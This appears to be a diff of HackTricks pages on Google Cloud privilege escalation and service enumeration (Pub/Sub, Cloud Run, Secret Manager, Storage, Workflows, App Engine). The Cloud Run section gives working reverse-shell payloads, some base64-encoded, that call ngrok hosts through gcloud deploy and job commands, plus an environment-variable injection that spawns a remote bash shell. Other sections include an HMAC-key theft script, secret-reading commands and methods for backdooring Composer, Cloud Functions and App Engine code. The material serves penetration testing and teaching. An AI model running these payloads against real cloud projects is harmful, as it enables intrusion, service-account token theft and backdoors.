{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,37 @@
|
||||
# GCP - Pubsub Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## PubSub
|
||||
|
||||
Get more information in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
{{#endref}}
|
||||
|
||||
### `pubsub.snapshots.create`
|
||||
|
||||
The snapshots of topics **contain the current unACKed messages and every message after it**. You could create a snapshot of a topic to **access all the messages**, **avoiding access the topic directly**.
|
||||
|
||||
### **`pubsub.snapshots.setIamPolicy`**
|
||||
|
||||
Assign the pervious permissions to you.
|
||||
|
||||
### `pubsub.subscriptions.create`
|
||||
|
||||
You can create a push subscription in a topic that will be sending all the received messages to the indicated URL
|
||||
|
||||
### **`pubsub.subscriptions.update`**
|
||||
|
||||
Set your own URL as push endpoint to steal the messages.
|
||||
|
||||
### `pubsub.subscriptions.consume`
|
||||
|
||||
Access messages using the subscription.
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Give yourself any of the preiovus permissions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
# GCP - Resourcemanager Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## resourcemanager
|
||||
|
||||
### `resourcemanager.organizations.setIamPolicy`
|
||||
|
||||
Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **organization** level. So, you can follow the same exploitation example.
|
||||
|
||||
### `resourcemanager.folders.setIamPolicy`
|
||||
|
||||
Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **folder** level. So, you can follow the same exploitation example.
|
||||
|
||||
### `resourcemanager.projects.setIamPolicy`
|
||||
|
||||
Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **project** level. So, you can follow the same exploitation example.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,89 @@
|
||||
# GCP - Run Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Run
|
||||
|
||||
For more information about Cloud Run check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
An attacker with these permissions to **create a run service running arbitrary code** (arbitrary Docker container), attach a Service Account to it, and make the code **exfiltrate the Service Account token from the metadata**.
|
||||
|
||||
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
|
||||
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Like the previous one but updating a service:
|
||||
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==
|
||||
|
||||
gcloud run deploy hacked \
|
||||
--image=ubuntu:22.04 \ # Make sure to use an ubuntu version that includes python3
|
||||
--command=bash \
|
||||
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
|
||||
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
|
||||
--region=us-central1 \
|
||||
--allow-unauthenticated
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
Give yourself previous permissions over cloud Run.
|
||||
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Launch a job with a reverse shell to steal the service account indicated in the command. You can find an [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
--command=bash \
|
||||
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
|
||||
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Similar to the previous one it's possible to **update a job and update the SA**, the **command** and **execute it**:
|
||||
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
--command=bash \
|
||||
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
|
||||
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Give yourself the previous permissions over Cloud Jobs.
|
||||
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
Abuse the env variables of a job execution to execute arbitrary code and get a reverse shell to dump the contents of the container (source code) and access the SA inside the metadata:
|
||||
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
# GCP - Secretmanager Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## secretmanager
|
||||
|
||||
For more information about secretmanager:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
This give you access to read the secrets from the secret manager and maybe this could help to escalate privielegs (depending on which information is sotred inside the secret):
|
||||
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
|
||||
As this is also a post exploitation technique it can be found in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
This give you access to give you access to read the secrets from the secret manager, like using:
|
||||
|
||||
```bash
|
||||
gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
# GCP - Serviceusage Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## serviceusage
|
||||
|
||||
The following permissions are useful to create and steal API keys, not this from the docs: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
|
||||
|
||||
Therefore, with an API key you can make that company pay for your use of the API, but you won't be able to escalate privileges.
|
||||
|
||||
To learn other permissions and ways to generate API keys check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-apikeys-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `serviceusage.apiKeys.create`
|
||||
|
||||
An undocumented API was found that can be used to **create API keys:**
|
||||
|
||||
```bash
|
||||
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
|
||||
### `serviceusage.apiKeys.list`
|
||||
|
||||
Another undocumented API was found for listing API keys that have already been created (the API keys appears in the response):
|
||||
|
||||
```bash
|
||||
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
|
||||
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
|
||||
|
||||
With these permissions an attacker can enable and use new services in the project. This could allow an **attacker to enable service like admin or cloudidentity** to try to access Workspace information, or other services to access interesting data.
|
||||
|
||||
## **References**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
|
||||
|
||||
**.**
|
||||
|
||||
</details>
|
||||
@@ -0,0 +1,87 @@
|
||||
# GCP - Sourcerepos Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Source Repositories
|
||||
|
||||
For more information about Source Repositories check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-source-repositories-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `source.repos.get`
|
||||
|
||||
With this permission it's possible to download the repository locally:
|
||||
|
||||
```bash
|
||||
gcloud source repos clone <repo-name> --project=<project-uniq-name>
|
||||
```
|
||||
|
||||
### `source.repos.update`
|
||||
|
||||
A principal with this permission **will be able to write code inside a repository cloned with `gcloud source repos clone <repo>`**. But note that this permission cannot be attached to custom roles, so it must be given via a predefined role like:
|
||||
|
||||
- Owner
|
||||
- Editor
|
||||
- Source Repository Administrator (`roles/source.admin`)
|
||||
- Source Repository Writer (`roles/source.writer`)
|
||||
|
||||
To write just perform a regular **`git push`**.
|
||||
|
||||
### `source.repos.setIamPolicy`
|
||||
|
||||
With this permission an attacker could grant himself the previous permissions.
|
||||
|
||||
### Secret access
|
||||
|
||||
If the attacker has **access to the secrets** where the tokens are stored, he will be able to steal them. For more info about how to access a secret check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-secretmanager-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Add SSH keys
|
||||
|
||||
It's possible to **add ssh keys to the Source Repository project** in the web console. It makes a post request to **`/v1/sshKeys:add`** and can be configured in [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
|
||||
|
||||
Once your ssh key is set, you can access a repo with:
|
||||
|
||||
```bash
|
||||
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
|
||||
```
|
||||
|
||||
And then use **`git`** commands are per usual.
|
||||
|
||||
### Manual Credentials
|
||||
|
||||
It's possible to create manual credentials to access the Source Repositories:
|
||||
|
||||
<figure><img src="../../../images/image (324).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Clicking on the first link it will direct you to [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
|
||||
|
||||
Which will prompt an **Oauth authorization prompt** to give access to **Google Cloud Development**. So you will need either the **credentials of the user** or an **open session in the browser** for this.
|
||||
|
||||
This will send you to a page with a **bash script to execute** and configure a git cookie in **`$HOME/.gitcookies`**
|
||||
|
||||
<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Executing the script you can then use git clone, push... and it will work.
|
||||
|
||||
### `source.repos.updateProjectConfig`
|
||||
|
||||
With this permission it's possible to disable Source Repositories default protection to not upload code containing Private Keys:
|
||||
|
||||
```bash
|
||||
gcloud source project-configs update --disable-pushblock
|
||||
```
|
||||
|
||||
You can also configure a different pub/sub topic or even disable it completely:
|
||||
|
||||
```bash
|
||||
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
|
||||
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,117 @@
|
||||
# GCP - Storage Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage
|
||||
|
||||
Basic Information:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
This permission allows you to **download files stored inside Cloud Storage**. This will potentially allow you to escalate privileges because in some occasions **sensitive information is saved there**. Moreover, some GCP services stores their information in buckets:
|
||||
|
||||
- **GCP Composer**: When you create a Composer Environment the **code of all the DAGs** will be saved inside a **bucket**. These tasks might contain interesting information inside of their code.
|
||||
- **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, which means that if you can read the buckets you will be able to download the images and **search for leaks and/or source code**.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
You can give you permission to **abuse any of the previous scenarios of this section**.
|
||||
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
For an example on how to modify permissions with this permission check this page:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Cloud Storage's "interoperability" feature, designed for **cross-cloud interactions** like with AWS S3, involves the **creation of HMAC keys for Service Accounts and users**. An attacker can exploit this by **generating an HMAC key for a Service Account with elevated privileges**, thus **escalating privileges within Cloud Storage**. While user-associated HMAC keys are only retrievable via the web console, both the access and secret keys remain **perpetually accessible**, allowing for potential backup access storage. Conversely, Service Account-linked HMAC keys are API-accessible, but their access and secret keys are not retrievable post-creation, adding a layer of complexity for continuous access.
|
||||
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
|
||||
## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
|
||||
PROJECT_ID = '$PROJECT_ID'
|
||||
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
|
||||
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
|
||||
import requests
|
||||
import json
|
||||
key = requests.post(
|
||||
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
|
||||
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
|
||||
).json()
|
||||
#print(json.dumps(key, indent=4))
|
||||
print(f'ID: {key["metadata"]["accessId"]}')
|
||||
print(f'Secret: {key["secret"]}')
|
||||
|
||||
|
||||
# Configure gsutil to use the HMAC key
|
||||
gcloud config set pass_credentials_to_gsutil false
|
||||
gsutil config -a
|
||||
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
## `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
|
||||
In order to **create a new object** inside a bucket you need `storage.objects.create` and, according to [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), you need also `storage.objects.delete` to **modify** an existent object.
|
||||
|
||||
A very **common exploitation** of buckets where you can write in cloud is in case the **bucket is saving web server files**, you might be able to **store new code** that will be used by the web application.
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** is **Apache Airflow** managed inside GCP. It has several interesting features:
|
||||
|
||||
- It runs inside a **GKE cluster**, so the **SA the cluster uses is accessible** by the code running inside Composer
|
||||
- All the components of a composer environments (**code of DAGs**, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Cloud Functions code is stored in Storage and whenever a new version is created the code is pushed to the bucket and then the new container is build from this code. Therefore, **overwriting the code before the new version gets built it's possible to make the cloud function execute arbitrary code**.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngine versions generate some data inside a bucket with the format name: `staging.<project-id>.appspot.com`. Inside this bucket, it's possible to find a folder called `ae` that will contain a folder per version of the AppEngine app and inside these folders it'll be possible to find the `manifest.json` file. This file contains a json with all the files that must be used to create the specific version. Moreover, it's possible to find the **real names of the files, the URL to them inside the GCP bucket (the files inside the bucket changed their name for their sha1 hash) and the sha1 hash of each file.**
|
||||
|
||||
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
|
||||
|
||||
However, with read & write access over this bucket, it's possible to escalate privileges to the SA attached to the App Engine version by monitoring the bucket and any time a change is performed (new version), modify the new version as fast as possible. This way, the container that gets created from this code will execute the backdoored code.
|
||||
|
||||
The mentioned attack can be performed in a lot of different ways, all of them start by monitoring the `staging.<project-id>.appspot.com` bucket:
|
||||
|
||||
- Upload the complete new code of the AppEngine version to a different and available bucket and prepare a **`manifest.json` file with the new bucket name and sha1 hashes of them**. Then, when a new version is created inside the bucket, you just need to modify the `manifest.json` file and upload the malicious one.
|
||||
- Upload a modified `requirements.txt` version that will use a the **malicious dependencies code and update the `manifest.json`** file with the new filename, URL and the hash of it.
|
||||
- Upload a **modified `main.py` or `app.yaml` file that will execute the malicious code** and update the `manifest.json` file with the new filename, URL and the hash of it.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** stores the images inside buckets, if you can **write those buckets** you might be able to **move laterally to where those buckets are being run.**
|
||||
- The bucket used by GCR will have an URL similar to `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
|
||||
> [!TIP]
|
||||
> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
|
||||
|
||||
## **References**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,107 @@
|
||||
# GCP - Workflows Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Workflows
|
||||
|
||||
Basic Information:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-workflows-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
|
||||
|
||||
Afaik it's not possible to get a shell with access to the metadata endpoint containing the SA credentials of the SA attacked to a Workflow. However, it's possible to abuse the permissions of the SA by adding the actions to perform inside the Workflow.
|
||||
|
||||
It's possible to find the documentation of the connectors. For example, this is the [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** In the side bar it's possible to find several other connectors.
|
||||
|
||||
And here you can find an example of a connector that prints a secret:
|
||||
|
||||
```yaml
|
||||
main:
|
||||
params: [input]
|
||||
steps:
|
||||
- access_string_secret:
|
||||
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
|
||||
args:
|
||||
secret_id: secret_name
|
||||
version: 1
|
||||
project_id: project-id
|
||||
result: str_secret
|
||||
- returnOutput:
|
||||
return: "${str_secret}"
|
||||
```
|
||||
|
||||
Update from the CLI:
|
||||
|
||||
```bash
|
||||
gcloud workflows deploy <workflow-name> \
|
||||
--service-account=email@SA \
|
||||
--source=/path/to/config.yaml \
|
||||
--location us-central1
|
||||
```
|
||||
|
||||
If you get an error like `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, just **wait a minute and try again**.
|
||||
|
||||
If you don't have web access it's possible to trigger and see the execution of a Workflow with:
|
||||
|
||||
```bash
|
||||
# Run execution with output
|
||||
gcloud workflows run <workflow-name> --location us-central1
|
||||
|
||||
# Run execution without output
|
||||
gcloud workflows execute <workflow-name> --location us-central1
|
||||
|
||||
# List executions
|
||||
gcloud workflows executions list <workflow-name>
|
||||
|
||||
# Get execution info and output
|
||||
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> You can also check the output of previous executions to look for sensitive information
|
||||
|
||||
Note that even if you get an error like `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` because you don't have that permission, the workflow has been generated.
|
||||
|
||||
### Leak OIDC token (and OAuth?)
|
||||
|
||||
According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) it's possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of [Cloud Scheduler](gcp-cloudscheduler-privesc.md), the HTTP request with the Oauth token must be to the host `.googleapis.com`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, it's **possible to leak the OIDC token by indicating a HTTP endpoint** controlled by the user but to leak the **OAuth** token you would **need a bypass** for that protection. However, you are still able to **contact any GCP api to perform actions on behalf the SA** using either connectors or HTTP requests with the OAuth token.
|
||||
|
||||
#### Oauth
|
||||
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.post
|
||||
args:
|
||||
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
|
||||
auth:
|
||||
type: OAuth2
|
||||
scopes: OAUTH_SCOPE
|
||||
```
|
||||
|
||||
#### OIDC
|
||||
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.get
|
||||
args:
|
||||
url: https://us-central1-project.cloudfunctions.net/functionA
|
||||
query:
|
||||
firstNumber: 4
|
||||
secondNumber: 6
|
||||
operation: sum
|
||||
auth:
|
||||
type: OIDC
|
||||
audience: OIDC_AUDIENCE
|
||||
```
|
||||
|
||||
### `workflows.workflows.update` ...
|
||||
|
||||
With this permission instead of `workflows.workflows.create` it's possible to update an already existing workflow and perform the same attacks.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,2 @@
|
||||
# GCP - Services
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
# GCP - AI Platform Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## [AI Platform](https://cloud.google.com/sdk/gcloud/reference/ai-platform/) <a href="#reviewing-ai-platform-configurations" id="reviewing-ai-platform-configurations"></a>
|
||||
|
||||
Google [**AI Platform**](https://cloud.google.com/ai-platform/) is another "**serverless**" offering for **machine learning projects**.
|
||||
|
||||
There are a few areas here you can look for interesting information like models and jobs.
|
||||
|
||||
```bash
|
||||
# Models
|
||||
gcloud ai-platform models list
|
||||
gcloud ai-platform models describe <model>
|
||||
gcloud ai-platform models get-iam-policy <model>
|
||||
|
||||
# Jobs
|
||||
gcloud ai-platform jobs list
|
||||
gcloud ai-platform jobs describe <job>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,44 @@
|
||||
# GCP - API Keys Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
In Google Cloud Platform (GCP), API keys are a simple encrypted string that **identifies an application without any principa**l. They are used to **access Google Cloud APIs** that do not require user context. This means they are often used in scenarios where the application is accessing its own data rather than user data.
|
||||
|
||||
### Restrictions
|
||||
|
||||
You can **apply restrictions to API keys** for enhanced security. For example, you can restrict the key to be **used only by certain IP addresses, webs, android apps, iOS apps**, or restrict it to **certain APIs or services** within GCP.
|
||||
|
||||
### Enumeration
|
||||
|
||||
It's possible to **see the restriction of an API key** (including GCP API endpoints restriction) using the verbs list or describe:
|
||||
|
||||
```bash
|
||||
gcloud services api-keys list
|
||||
gcloud services api-keys describe <key-uuid>
|
||||
gcloud services api-keys list --show-deleted
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> It's possible to recover deleted keys before 30days passes, that's why you can list deleted keys.
|
||||
|
||||
### Privilege Escalation & Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-apikeys-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Unauthenticated Enum
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-api-keys-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,117 @@
|
||||
# GCP - App Engine Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information <a href="#reviewing-app-engine-configurations" id="reviewing-app-engine-configurations"></a>
|
||||
|
||||
Google Cloud Platform's (GCP) App Engine is a **robust, serverless platform tailored for the development and hosting of web applications on a large scale**. The design of this platform focuses on streamlining the development process and enhancing the manageability of applications. The key features and benefits of GCP's App Engine include:
|
||||
|
||||
1. **Serverless Architecture**: App Engine automatically handles the infrastructure, including server provisioning, configuration, and scaling. This allows developers to focus on writing code without worrying about the underlying hardware.
|
||||
2. **Automatic Scaling**: App Engine can automatically scale your application in response to the amount of traffic it receives. It scales up to handle increased traffic and scales down when traffic decreases, helping optimize cost and performance.
|
||||
3. **Language and Runtime Support**: It supports popular programming languages such as Java, Python, Node.js, Go, Ruby, PHP, and .NET. You can run your applications in a standard or a flexible environment. The standard environment is more restrictive but highly optimized for specific languages, while the flexible environment allows for more customization.
|
||||
4. **Integrated Services**: App Engine integrates with many other GCP services, like Cloud SQL, Cloud Storage, Cloud Datastore, and more. This integration simplifies the architecture of cloud-based applications.
|
||||
5. **Versioning and Traffic Splitting**: You can easily deploy multiple versions of your application and then split traffic among them for A/B testing or gradual rollouts.
|
||||
6. **Application Insights**: App Engine provides built-in services such as logging, user authentication, and a suite of developer tools for monitoring and managing applications.
|
||||
7. **Security**: It offers built-in security features like application versioning, SSL/TLS certificates for secure connections, and identity and access management.
|
||||
|
||||
### Firewall
|
||||
|
||||
A simple **firewall** can be configured for the instances running the Apps with the following options:
|
||||
|
||||
<figure><img src="../../../images/image (246).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### SA
|
||||
|
||||
The default service account used by these Apps is **`<proj-name>@appspot.gserviceaccount.com`** which have **Editor** role over the project and the SAs inside APP Engine instance **runs with cloud-platform scope (among others).**
|
||||
|
||||
### Storage
|
||||
|
||||
